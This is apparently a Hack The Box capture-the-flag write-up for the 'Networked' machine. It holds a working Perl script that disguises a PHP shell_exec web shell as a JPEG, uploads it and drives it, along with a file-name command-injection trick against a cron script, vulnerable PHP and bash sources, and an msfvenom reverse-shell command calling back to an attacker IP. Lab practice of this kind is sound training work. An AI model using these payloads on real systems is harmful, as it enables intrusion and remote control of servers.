HTB Reports: Networked
Networked
- OS: Linux
- Level: Easy
- IP: 10.10.10.146
High-Level Summary
- User access: a file upload allows to bypass restrictions and upload a malicious php file that can be used to get a shell as
apache
. A script which runs with crontab allows command injection by creating a file with a special name. - Root access: user
guly
can use sudo without password to call a specific script which is vulnerable to command injection, again.
Walkthrough
A quick nmap
scan shows us two ports open:
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-16 12:13 EST
Nmap scan report for 10.10.10.146
Host is up (0.029s latency).
Not shown: 997 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 5.23 seconds
On port 80 we see only a few lines:
We can run gobuster
against the webserver and we will find a few interesting files:
Interesting for us is the /upload.php
page, which has an upload form:
And if we upload our image, we can then find it in the /photos.php
page:
I immediately tried to upload a php file, but that would have been too easy.
If we navigate to the /backup
folder, we find a directory listing:
We can download the archive, and we will have the php source code of the pages.
If we open the source code for upload.php
, we see that there are two checks for the image file:
The first check is at line 10, it calls the function check_file_type
which is declared in the lib.php
file:
This functions checks that the mime type starts with image/
.
The second check instead is on the file extension, only .png
, .jpg
, .gif
and .jpeg
are allowed. Bypassing the extension check is very easy, a little bit of more effort is required to bypass the check on the mime type.
After some googling, I found this very simple perl script that creates valid jpeg files with php code inside:
https://gist.github.com/dap/149564/948a3abd8cf9d46413889ab1122305322888f415
I created the malicious file, gave it the double extension .php.jpg
and uploaded it to the server: it passed all checks. I was then able to find the image in the photo gallery, and if I navigate to the image, I can verify my php command execution:
I decided to combine this code into a script to create, upload and invoke my malicious file:
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
my $evilfile = 'evil.php.jpg';
# Writing malicious jpg file
open my $jpg, '>', $evilfile;
# Output "JPEG image data" magic pattern
print $jpg pack('H4xxxx', 'ffd8');
# Output "JFIF standard" magic pattern
print $jpg pack('a*', 'JFIF');
# Output the PHP code
print $jpg '<?php echo "<pre>" . shell_exec($_REQUEST["cmd"]); ?>';
close $jpg;
print "evil.php.jpg generated.\n";
my $ua = LWP::UserAgent->new;
my $url = 'http://10.10.10.146/upload.php';
# Input file field
my $file_input = 'myFile';
# Path to the local file that you want to upload
my $res = $ua->post($url,
Content_Type => 'form-data',
Content => [
$file_input => [ $evilfile ],
'submit' => 'go',
],
);
unlink $evilfile;
if ($res->is_success) {
if ($res->decoded_content eq '<p>file uploaded, refresh gallery</p>') {
print "File uploaded correctly.\n";
}
else {
print "Unable to upload file.\n";
exit 1;
}
}
else {
print "Unable to upload file.\n";
exit 1;
}
my $rce = 'http://10.10.10.146/uploads/10_10_14_21.php.jpg';
print "Invoking $rce\n";
my $cmd = '';
while ($cmd ne 'exit') {
print "> ";
$cmd = <STDIN>;
chomp($cmd);
next if $cmd eq 'exit';
$res = $ua->post($rce,
Content => [
'cmd' => $cmd,
],
);
print +(split /<pre>/, $res->decoded_content, 2)[1];
}
If we run the script, we obtain a simple shell for remote command execution:
After failing to obtain a normal shell with nc
, I succeeded using socat
. Looking for the user flag, I moved to /home/guly
, but apache
can’t read the user flag. There are though some interesting files:
And the crontab.guly
files contains the following:
So, guly every 3 minutes executes check_attach.php
, which has the following source code:
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
You can spend some time trying to understand what this php code does. The following lines are interestisng to us, as they lead to a shell injection:
...
$path = '/var/www/html/uploads/';
...
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
...
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
...
}
The /var/www/html/uploads/
folder is scanned for all files. Then for each of this files, the for loop is executed and the file name is passed, unfiltered, to php exec
command, which will pass the command to the underlying shell.
If our filename will start with ;
, the shell will terminate the command and read the following line as if it’s a different command.
I can create a malicious filename using touch
:
Wait a few minutes if I’m unlucky and get a shell as guly:
Enumeration as guly is super quick. We immediately find that guly can use sudo
with no password for a specific script:
This is the source code of the script:
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
Finding out the injection in this script was super easy. I was trying to inject some simple echo commands, when I saw this output:
If we have a look at the newly created config file, we see the following:
So, what is happening here is that the ifup
command is reading the files as if they are bash source file, so what we are doing whenever we put a space in our input, is to assign the variable a name and then call the command with that variable set.
We can therefore just inject our command after a space, we don’t need an echo
.
The only problem is that the regexp is very strict, we can’t us a lot of useful characters to obtain a reverse shell. But this can be easily overcome by uploading our own payload. We can create our shell as follows:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=6789 -f elf -o lshell
Upload it to the target machine, make it executable and simply supply its path to one of our variables.